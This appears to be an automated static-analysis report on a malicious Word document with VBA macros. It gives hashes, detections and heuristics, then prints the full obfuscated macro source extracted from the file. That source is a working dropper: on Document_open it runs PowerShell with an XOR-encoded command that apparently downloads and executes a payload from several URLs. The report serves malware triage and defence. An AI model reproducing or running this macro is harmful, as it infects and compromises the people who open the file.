Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c96679e3d8c7c3f…

MALICIOUS

Office (OLE)

114.5 KB Created: 2018-06-13 17:10:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: eb8c58203dca4a934eb73f55a473a0fb SHA-1: 8ed88ea6965c298e2ef616e13069a7f9d4a43674 SHA-256: 6c96679e3d8c7c3ff2ee7ac4a04abcdc28fba2aeb26b0e81cf6ed0da97741aa6
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Document_open' macro triggers a 'Shell()' call, which is a critical heuristic indicating execution of arbitrary commands. The obfuscated VBA script attempts to construct and execute a command, likely for downloading and running a secondary payload. The ClamAV detection further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6594280-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6594280-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    wsLJUQ = Tan(14252)
kiijoHIOIrf = qpNnumc + VBA.Shell(uPsVGsutpU + Chr(ViGfhmcjGr + vbKeyP + wzNJJTpkPi) + "owers" + boCvXzpW + PaPPH + hBBzHZtXXjr + ORjpTU + cUdtwrjbw + JVNAEGo, 11152 - 11152)
jiQsk = Tan(85867)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14501 bytes
SHA-256: 66253e10452835001cbf3ae9b87284b81b8bc04574d007684d611c25eebeda42
Detection
ClamAV: No threats found
Obfuscation or payload: likely
243 of 406 identifiers look randomly generated (e.g. 'MwmQJVCkpVlcb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MwmQJVCkpVlcb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function kiijoHIOIrf()
On Error Resume Next
OzrinG = Tan(20131)
iCcTSm = zSkSrA
CzJjMS = CDbl(TJqMAC * CDbl(AbBik + Int(QUcHAj * Rnd(49402)) * aQMOz * Log(78219 * FhWLr - LslGR + Fix(51))))
vutfT = pEbrAi
iWBfc = CDbl(QstdwD)
UYErCY = Tan(20134)
pJnCS = Tan(96879)
Ynjjqi = kSzIIO
TCzDU = CDbl(VKGfA * CDbl(ciuIMF + Int(QpHLMo * Rnd(69961)) * EmcisU * Log(60698 * TliEuR - jDfuG + Fix(51))))
raXhBv = baIhud
LqlOkT = CDbl(YiwIc)
KWjhY = Tan(15593)
qpLMM = Tan(34848)
dAPTaB = CHXSJY
mFBWz = CDbl(liDUG * CDbl(BvpQiG + Int(MzWShV * Rnd(95142)) * YAJcUF * Log(98844 * jiDWwu - wvNlzt + Fix(51))))
FGlfj = SCZXU
nUBCS = CDbl(husmk)
OcojZW = Tan(131)
jpdaw = Tan(18680)
hawKBT = hNCCbB
oGFJcM = CDbl(PqPzRE * CDbl(AXZcir + Int(iKbdQ * Rnd(43772)) * pXUtjB * Log(6299 * EKovz - kjKkP + Fix(51))))
WuSOn = tDudRs
KwdjMp = CDbl(aTvGi)
wsLJUQ = Tan(14252)
kiijoHIOIrf = qpNnumc + VBA.Shell(uPsVGsutpU + Chr(ViGfhmcjGr + vbKeyP + wzNJJTpkPi) + "owers" + boCvXzpW + PaPPH + hBBzHZtXXjr + ORjpTU + cUdtwrjbw + JVNAEGo, 11152 - 11152)
jiQsk = Tan(85867)
ZtJbi = FnrRlD
MjlWO = CDbl(NQYPSL * CDbl(LWFaZB + Int(Iidlr * Rnd(70157)) * dFLcr * Log(27501 * nlSdfH - JAdrPp + Fix(51))))
kmzut = zdAucu
iDAfia = CDbl(KMmazw)
SEztt = Tan(93129)
LWozp = Tan(77561)
iSwAj = wnqQR
swvTwq = CDbl(uFDFC * CDbl(fonRCT + Int(CSCUzt * Rnd(25851)) * BpJdKD * Log(5571 * bbmREB - fMvRB + Fix(51))))
LqPBXB = WHDbM
wbUEcq = CDbl(Ptcsfc)
uXvkHV = Tan(91976)
End Function
Private Sub Document_open()
On Error Resume Next
XnEoO = Tan(78516)
zAGhoN = kmkDl
TzjYv = CDbl(mIZTQ * CDbl(QaDwXv + Int(QzsLj * Rnd(64922)) * JthkW * Log(1388 * nvqnwk - cUajq + Fix(51))))
diMIaK = nfSis
VZbowq = CDbl(ItbpwP)
pTVjU = Tan(29631)
rKJdKP = Tan(39751)
NUCqF = uitkj
SuIrjn = CDbl(LhtJJE * CDbl(slEjU + Int(uRPKK * Rnd(36022)) * IZFmh * Log(90524 * KvOzM - EJnULs + Fix(51))))
DwWHXn = ldvzS
AizjNS = CDbl(lcHbO)
pWosVi = Tan(40424)
kiijoHIOIrf
KjapB = Tan(89247)
JRQQwO = XLMjdA
NmWncJ = CDbl(XjwOjp * CDbl(WBfJo + Int(tfGrYY * Rnd(54501)) * SjPoj * Log(79100 * dEppQs - hRBSYK + Fix(51))))
swqTXG = zopGz
jiOEhj = CDbl(zjZAA)
dwPbcS = Tan(50779)
qlloB = Tan(93789)
DwZali = iiicS
YINpG = CDbl(vnjrp * CDbl(EQVww + Int(aVFiwW * Rnd(31860)) * ouYPFN * Log(76935 * sCuNih - HUEkRj + Fix(51))))
XSCjLt = wOrmwB
qMrYY = CDbl(BOTlcU)
LIDpz = Tan(59351)
End Sub


Attribute VB_Name = "EndRLrICqC"
Function boCvXzpW()
On Error Resume Next
FfbjDv = Tan(3805)
Buaas = CDbl(khbiL)
qXIhk = Tan(68505)
ztIqj = CDbl(fwwuki * CDbl(wsRBSN + Int(IFSiz * Rnd(57503)) * zXTjzU * Log(51840 * mTtUV - wkEJi + Fix(51))))
jzuMGn = ZjDwH
JOqGzI = shKUOY
VSJpSnzNkz = "HeLL  ( [cHA" + "R[]](4 ,73" + " ,104 ,86,116,7" + "3 , 0,29" + " ,0" + " ,78 , 69 ,87 " + ", 13,79,6" + "6,74 ,69 ,67"
NzZPl = Tan(96289)
fBfLT = CDbl(HRDji)
zsWXwj = Tan(20353)
XYBzRL = CDbl(mrWra * CDbl(BirlI + Int(tNVtp * Rnd(61021)) * DHjHsn * Log(26504 * BqMzH - MLYth + Fix(51))))
QZLLt = OkoWG
NqAnf = AIjCzA
lFbYJnqHX = " ," + " 84 ,0 , " + "82,65 " + ", 78 ,68" + " ,7" + "9 ,77,27 " + ",4, 80," + "107 ,68," + " 75,101, "
vuLlL = Tan(16881)
KIrGM = CDbl(Oquiu)
FAOPN = Tan(92305)
OdXJsi = CDbl(NfCjdE * CDbl(DYdwjr + Int(SbMAAc * Rnd(59733)) * RLmuJ * Log(72002 * YkSDUv - aUMvjz + Fix(51))))
cApzL = jjwuH
YztdcX = mAsoFw
MEauIH = "66 ,0 , " + "29, 0 , 78 " + ",69 , " + "87, 13 ,79 ,6" + "6 , 74,69 ,67" + " , 84, 0,115 , " + "89 ," + " 83 ,84, 69, 77" + ", 1"
zLKXiw = Tan(79697)
vWFdo = CDbl(kAIjAU)
EDZCi = Tan(52277)
HMXls = CDbl(JBSTlJ * CDbl(KCfWEw + Int(wmQBf * Rnd(29433)) * UQSKFJ * Log(19326 * znmmPf - vIqndb + Fix(51))))
NcbzHm = jadAm
DsjRj = WqHLs
WiMJCrbEs = "4 ,110,69 ,84," + " 14,119, 69" + " ," + " 6" + "6 ,99, 76, " + "73" + ",69 , 78,84," + "27 ,4 , 73," + "66 , 7" + "9, 86 ,65 , 8"
QEMOlD = Tan(50866)
kQwLc = CDbl(ifJHO)
JchMX = Tan(8205)
LLTHT = CDbl(EinKN * CDbl(XkYlXc + Int(lCAaDJ * Rnd(15640)) * hvHBFc * Log(20565 * BudjPi - PGTRDG + Fix(51))))
TDRjIa = pvzKmJ
qXrtt = HNlUj
NltOwKzLjz = "4, 0, 29 ,0 , 7" + ",72 ,84, 84, " + "80, 26 ,15 ," + " 15 , 8" + "7, " + "87, 87 , 14," + "77, 85 ,"
EbPmfU = Tan(87172)
kGmDUT = CDbl(PkXtJQ)
lwJiI = Tan(97616)
CqPtR = CDbl(nCQrZQ * CDbl(GGBHwA + Int(NJGIHN * Rnd(27919)) * XAHCX * Log(44855 * NMVUwj - oPIzwY + Fix(51))))
GiQdf = mGFjz
plbDIW = qzHQp
FjYTcszV = " 83,65 ,83" + ", 72 ,73 , 83 " + ",72 , 73, 78" + ", 74 ,7" + "9 ,13 , 83,72" + " ,73,75 ,65 " + ", 14,67 , 79"
boCvXzpW = VSJpSnzNkz + lFbYJnqHX + MEauIH + WiMJCrbEs + NltOwKzLjz + FjYTcszV
End Function
Function PaPPH()
On Error Resume Next
mCzTO = Tan(47239)
MJXDD = CDbl(bisdJ)
MshbC = Tan(76791)
ZwMii = CDbl(cXtGfm * CDbl(RsNmDi + Int(TPjCKb * Rnd(92307)) * vLOBd * Log(65888 * qpPoPw - jzDizv + Fix(51))))
cFiRcM = ZflFn
oCXXPP = tjkzjd
OAbwSjjJw = ", 77 ,15 " + ", 87 ," + " 80" + " ,15,8" + "7 , 80 ,"
qjSha = Tan(51112)
Amswpo = CDbl(Fzwwk)
JEHlw = Tan(41965)
RoVSM = CDbl(ucbKr * CDbl(CarPK + Int(jBUYs * Rnd(61013)) * CJufda * Log(22431 * tZvzOO - ArBVz + Fix(51))))
TdfrlM = wAHZUB
zJAwRw = WBdXWf
YCwiwIClPkw = " 13, 67 ,79,78" + ",84, 69,78 " + ",84 ,15, 84 " + ",72 , 69" + " ," + "77" + " ,69,83 ,15, 7" + "3, 75, 116," + " 121, 90, 106,1" + "5 ,96 ,72 ,84"
sEnuh = Tan(8290)
rzkNJ = CDbl(vwwZBn)
CnGosm = Tan(10131)
NADKT = CDbl(jOwIV * CDbl(JXQAL + Int(RfFWB * Rnd(37307)) * KWkPBj * Log(38116 * MDsAca - XLdzLZ + Fix(51))))
bHhwHZ = HAuDl
TYzicj = usCHX
TwiDBwjT = " ,84, " + "80 ,26 , 15," + "15, 17 " + ", 24 " + ",21,14 , " + "18 , 24,"
TwJMr = Tan(64779)
AckYmE = CDbl(RmnUf)
sdXwr = Tan(81784)
zjPHFP = CDbl(zTzwc * CDbl(wKwpki + Int(GzHii * Rnd(36678)) * jfhLc * Log(94279 * MjhBHb - jiMwna + Fix(51))))
wLtQPQ = cMjZK
jbRnc = oXVvi
GQsnSvAnHqX = "14 ,18 , 18 " + ", 14 ,17,19" + ", 17," + "15,23" + " ,"
sroBJP = Tan(70440)
tiZNz = CDbl(ZLAXBB)
tAaJbA = Tan(27620)
HWkRMj = CDbl(kCHfh * CDbl(cuNhQ + Int(YjZzXT * Rnd(40545)) * IkiGd * Log(42625 * nVGWp - vzEwh + Fix(51))))
GMHwd = WJRrY
zpYGK = DdjUzq
nMSOiB = " 72, 1" + "09 , 1" + "08 , 1" + "10 ," + "84,25,22 , 7" + "0 "
bJhbDF = Tan(29323)
AsaLb = CDbl(ojvIdY)
XVWhkG = Tan(48815)
wLCCR = CDbl(LXJNZ * CDbl(DQPdZ + Int(vmpkj * Rnd(53417)) * ldCtk * Log(76016 * Kiiwf - ljEwC + Fix(51))))
MFwtZ = Ajzhwf
WMZlR = AiPiqh
NhbsvlPFpkj = ", 15,96 ,72 ,8" + "4 , 84" + ",80,26 ," + "15 , 1" + "5,87, 87 ,87 ,"
EsOwSn = Tan(21880)
NbdYPH = CDbl(FXOaK)
oolFiR = Tan(36363)
IwwTI = CDbl(fkKji * CDbl(VwRzqq + Int(zUvVS * Rnd(89559)) * QcfmVD * Log(48071 * jSzwf - uRHUon + Fix(51))))
CRESWF = FkvUiS
NzzrL = FCoAiH
zzoziD = " 14,71 ," + "79 ," + "76 ,68 " + ",69," + "78 ," + "70, 69" + ",76,76,14 , " + "82 ,85 " + ", 15 "
cnuhr = Tan(73630)
jZXYij = CDbl(wXvAm)
WJKzb = Tan(99253)
cRapl = CDbl(SqNdZ * CDbl(zQFfPL + Int(WoEtrI * Rnd(57329)) * vvNrE * Log(89268 * frBzI - Yvsuv + Fix(51))))
XVqWa = irLjG
jjlOd = CVwsM
BsOkOFiLp = ", 1" + "06,66 , 8" + "9 , 89 , 79, " + "104 , 22," + " 1" + "6,79 ,21 ,15 ,9" + "6 , 72,84" + " ,84"
wtHHkw = Tan(73789)
NvuBK = CDbl(vZonq)
dBiOBi = Tan(27272)
ainXw = CDbl(JwXlj * CDbl(ZmnAp + Int(zNuKVr * Rnd(56632)) * LBBwws * Log(39592 * WKTjoa - vnaLzt + Fix(51))))
LLrITS = BXBAs
QcjFwY = zWvjjA
GrCEBslij = ", 80," + "26, 15 ,15 , " + "83 ,73,66,1" + "4, 67 ,79, 77 " + ",14" + ", 71 , 6"
YzQirq = Tan(54878)
VMLFS = CDbl(PkHGpL)
lEEfbH = Tan(10314)
PAVcQ = CDbl(tPtRPO * CDbl(fjvJF + Int(zFKfIQ * Rnd(22131)) * PzIJI * Log(47446 * PXinRP - NMjIal + Fix(51))))
zXpmP = zNlXH
LRVoj = swwAp
CURqEflQSzZ = "9, 15 ,21 " + ",105 ," + " 66,66,8" + "1, 86," + " 121 ," + "97,15 ,96 , 72," + "84 , 84, 80 ,26" + " ,15 , " + "15 ,87, " + "87,87 ,14"
PaPPH = OAbwSjjJw + YCwiwIClPkw + TwiDBwjT + GQsnSvAnHqX + nMSOiB + NhbsvlPFpkj + zzoziD + BsOkOFiLp + GrCEBslij + CURqEflQSzZ
End Function
Function hBBzHZtXXjr()
On Error Resume Next
ZdvEd = Tan(63074)
MzNQop = CDbl(KTSkv)
jDQdv = Tan(88341)
kaTan = CDbl(rvEMGW * CDbl(WftBU + Int(iaYaGJ * Rnd(98108)) * ckkuWa * Log(98360 * wGDIU - lMXDjF + Fix(51))))
kKCRb = wSzbY
RjnwL = roMDC
LuNBDXTi = " ,83 , " + "72, 6" + "5,77," + "83,65 , 76,87 " + ",79 ,74" + " ,79," + " 85 , 6" + "8, 14, 65, 69 " + ", 15 , 68,78 ,"
towhUQ = Tan(51335)
RVGZE = CDbl(Yjwcvu)
ztDKW = Tan(7135)
ozPSRk = CDbl(mzwLo * CDbl(BSdzBJ + Int(oYiuM * Rnd(84204)) * UNTwis * Log(1131 * wRBzqi - sChwZi + Fix(51))))
YswsmU = XasFTk
VMwCT = DffMOS
HKhELGSCXz = "89 , 72 ,120,12" + "0, 103 , 66,15 " + ", 7 ,14 ,115 " + ",80 , 76 " + ",73, 84,8,7," + "96," + "7 , 9,27 ,4," + "113, 65, " + "118,105, 77" + ",1"
PQauY = Tan(42369)
sVrYK = CDbl(JSJAjU)
fEFAAc = Tan(65043)
jlvBrm = CDbl(llIsH * CDbl(SIGDE + Int(zSqQD * Rnd(55289)) * mqSbHM * Log(75438 * jffsh - wztnCR + Fix(51))))
jfwuZm = MMEECf
mdbKWq = VwcAK
HEzXVcLE = "03 ,0, 29, " + "0 ,4,73, 1" + "04" + " , 86," + " 116, 73 , " + "14, 78 , 69," + "88,84, 8,17,1" + "2,0,24 , 23 " + ", 20,17, 24,16 "
HmNbHj = Tan(10401)
tuIpwi = CDbl(SwiCMA)
rPZBt = Tan(49906)
sbipd = CDbl(hovsrO * CDbl(sXFit + Int(ONwSoq * Rnd(99471)) * OqNpi * Log(25570 * OLjldz - brRwG + Fix(51))))
nKnUX = mfjmWz
dMWwQ = qmGAsk
VFzVcNTH = ",9,27, 4" + " , 66,1" + "13 , 1" + "13, 80 , 11" + "0 ,"
hBBzHZtXXjr = LuNBDXTi + HKhELGSCXz + HEzXVcLE + VFzVcNTH
End Function
Function ORjpTU()
On Error Resume Next
OwQLwE = Tan(58780)
FtauM = CDbl(HzqVoi)
lumIa = Tan(67548)
OCDEdb = CDbl(HnHzOo * CDbl(UiWGI + Int(bJJcK * Rnd(32461)) * lJzlJf * Log(7619 * vNHTc - ohvwYL + Fix(51))))
UCtmzR = cJPjF
RYUPmf = nbOjlF
dUImuza = "0,29," + " 0," + "4 ,69 , 78, 8" + "6,26 , 84 ," + " 69 ,77 , " + "80, 0,11, 0, " + "7 " + ", 124 ," + " 7 , 0, 11,0"
zPKciw = Tan(87462)
MqrUqz = CDbl(asoVMc)
XHLjC = Tan(5527)
ZXWuz = CDbl(diuIG * CDbl(HifsF + Int(qWViCf * Rnd(94553)) * wkpYw * Log(58565 * npnGoz - RYsDA + Fix(51))))
CmMHif = qZIpbi
UtsmR = UFzpwi
cnvHHiG = " , 4, 113, 65, " + "118" + ",105, 77" + ",103,0,11 , 0" + ",7, 14 ,69,88" + " , 69, 7, 2" + "7 ,70" + " , 79,82," + "69 , 65," + " 67,7"
hoZIVt = Tan(88259)
afTsYK = CDbl(qaiiOF)
pJGDX = Tan(46832)
OSulN = CDbl(GtBVL * CDbl(NlSjz + Int(iiXvZ * Rnd(42129)) * mZjOTH * Log(11605 * daGOk - dfDwwE + Fix(51))))
wwSQqC = ZjWrYE
jLMROn = zUwdR
JjjaMpVH = "2,8, 4" + " ,82, 106, 1" + "02 , 100 ,67, " + "0 ,73,7" + "8 ,0 , 4 , 73,"
zPZLv = Tan(67192)
tvJTE = CDbl(jOlUn)
MEFcCH = Tan(47059)
YGzulI = CDbl(mbKUPG * CDbl(caATm + Int(qzkEwb * Rnd(77740)) * RuvjvT * Log(64151 * SfZnzd - nmwjV + Fix(51))))
zwHNp = FnEYOi
lIUtw = MdwRAs
XWqZFMTDWB = "66, 79 , " + "86," + " 65 ,84,9" + " , 91 , 8"
EFqqH = Tan(86254)
kdTwj = CDbl(fqGBKZ)
SttwAX = Tan(4238)
vwrDjM = CDbl(UuuYbv * CDbl(BzPqY + Int(bbOOjk * Rnd(56174)) * oEoXQW * Log(93170 * MBGdd - QOzzo + Fix(51))))
IWYjP = tIpZB
hnNju = DKARmw
iaVcikObrH = "4,82,89," + " 91,4 ,8" + "0, 107,6" + "8,75, 101 ," + "66 ,1" + "4, 100, 79 ,"
LuKpWs = Tan(38960)
mFDoa = CDbl(qjUDNv)
qSUKko = Tan(2610)
FfOFYz = CDbl(jLjCE * CDbl(kfQiSE + Int(zEfbAU * Rnd(20033)) * sUAhBa * Log(78976 * aQUVRz - BFprH + Fix(51))))
jjiIui = aHwmPd
pNzjb = jdVLdC
iZEiSqKaF = "87 , " + "78, 76 ,79 " + ",65,68" + ", 1" + "02 , 73,76 , 6"
CCfXRm = Tan(76372)
YzCpW = CDbl(CTOjV)
UsTnA = Tan(5089)
EWaIq = CDbl(XRtZm * CDbl(ooAzlb + Int(VBChD * Rnd(69368)) * AIkYzq * Log(91680 * wJzJv - HWRru + Fix(51))))
nLQjrJ = UlmdLt
vonpr = cfoOi
BWmFaZrYt = "9 , 8 ,4 ,82 ," + "10" + "6 ,102" + ", 100, 67, 14 " + ",1" + "16, 7"
pJcUHo = Tan(94273)
prBvJE = CDbl(jkZnf)
UMpLnS = Tan(14664)
wRzSjC = CDbl(nYXOJU * CDbl(zNvhM + Int(jzcIRl * Rnd(87163)) * ZsmpW * Log(77286 * YKKnFM - zaYOi + Fix(51))))
znXCw = aktzs
bDluGO = zCjCD
sZUnPjP = "9, 11" + "5,84,82,73 , 78" + " ," + " 7" + "1,8, 9 , 12," + "0,4, 66 ,113 ," + "113,80, 110, 9 " + ",2" + "7,115,8"
ORjpTU = dUImuza + cnvHHiG + JjjaMpVH + XWqZFMTDWB + iaVcikObrH + iZEiSqKaF + BWmFaZrYt + sZUnPjP
End Function
Function cUdtwrjbw()
On Error Resume Next
CMCaC = Tan(7132)
NAYcP = CDbl(zCXaW)
Ftqfb = Tan(83089)
BtJER = CDbl(EhBnHw * CDbl(uBBdKX + Int(zoskcB * Rnd(21612)) * idMlb * Log(1837 * JDwJV - wnvLKA + Fix(51))))
piSJsv = uTpwa
rhswi = BkAAw
ujObVQi = "4 ,65 " + ", 82 ,8" + "4 , 13 ,112" + ", 82,79, 67 , " + "69 " + ",83, 83 " + ", 0 ,"
RBKBl = Tan(75157)
CQkdaE = CDbl(YYwbc)
LipGfi = Tan(53089)
pnJSM = CDbl(MiZGCM * CDbl(AKOKv + Int(ktMlt * Rnd(65537)) * UHHBiE * Log(71156 * jdrror - DkdvnE + Fix(51))))
JkzzIi = tACwP
jWTHZ = qbIzu
rolltWXKZC = " 4,66 , " + "113,113 , 80 ,1" + "10 , 2" + "7 ,66, 82" + ", 69, 65" + ",75 "
qwcLbZ = Tan(12050)
qwBZM = CDbl(Dwibm)
MhOmz = Tan(15496)
NiHWzF = CDbl(lCuSp * CDbl(jItMwY + Int(dLFvM * Rnd(92269)) * mJPDA * Log(68334 * dRUoc - lODhI + Fix(51))))
FbbGLR = jMEzL
SGuGrY = UEkOI
stHipPbdN = ", " + "27 , 93, " + "67" + ", 65 , 84,67 , " + "72,91 , " + "87 ,82,73" + " , 84,"
nvibX = Tan(43750)
uzzdvY = CDbl(htnZIC)
qjPFDt = Tan(66029)
qpKSa = CDbl(OboTF * CDbl(tBYPUU + Int(EWwqM * Rnd(78989)) * zPtujj * Log(52430 * hzkQAA - oGInV + Fix(51))))
ubtFb = IiZYDn
biDTJ = hpiZTw
sGLtPjLEcmE = "69,13 " + ", 72 , 7" + "9 " + ", 83,8" + "4,0 ,4, 127" + " ,14,1" + "01,8"
jiodn = Tan(86400)
slUBzn = CDbl(CNCicu)
FIKcwb = Tan(83064)
WIkCjj = CDbl(NFQYJz * CDbl(SCFKl + Int(FfcrQ * Rnd(28632)) * mZbNKH * Log(31489 * XumtEG - ihOdFM + Fix(51))))
nwmmEb = HNUOM
SQhIV = udnJVu
FZFEHqpzVh = "8, 67, 69" + ",80 , 84" + ",73 ,79, 78" + " ,14 ,109 " + ",69 , 83,"
TDiKp = Tan(90695)
QljCV = CDbl(lZtIwi)
VidCtr = Tan(45879)
zpuunF = CDbl(lPzLfF * CDbl(Jzfrt + Int(DGRriC * Rnd(48662)) * PdMmlz * Log(43357 * JnWjAG - DNXBcw + Fix(51))))
BBZDGw = fAaWj
rVJjzT = dHBwv
EwOdMinAQL = " 83 , 65 ," + " 71,69 , 27,93" + ", 93) |" + " fOReACh{[cHA" + "R]( $_-bXor 0x2" + "0  ) } "
cUdtwrjbw = ujObVQi + rolltWXKZC + stHipPbdN + sGLtPjLEcmE + FZFEHqpzVh + EwOdMinAQL
End Function
Function JVNAEGo()
On Error Resume Next
HdJjDf = Tan(12760)
FJiNmj = CDbl(NjfbT)
AVKYTm = Tan(27608)
pdNTV = CDbl(XJYJkj * CDbl(kiHPK + Int(RYjUj * Rnd(11634)) * MTwpdI * Log(31978 * uiPpOH - ziOAT + Fix(51))))
XlDwk = Rodsf
pAravz = bBGjm
CYJUMI = ") -joIN '' |& (" + " $eNv:C" + "oMsPeC[4,2" + "4,25]-jOi" + "n'')"
JVNAEGo = CYJUMI
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.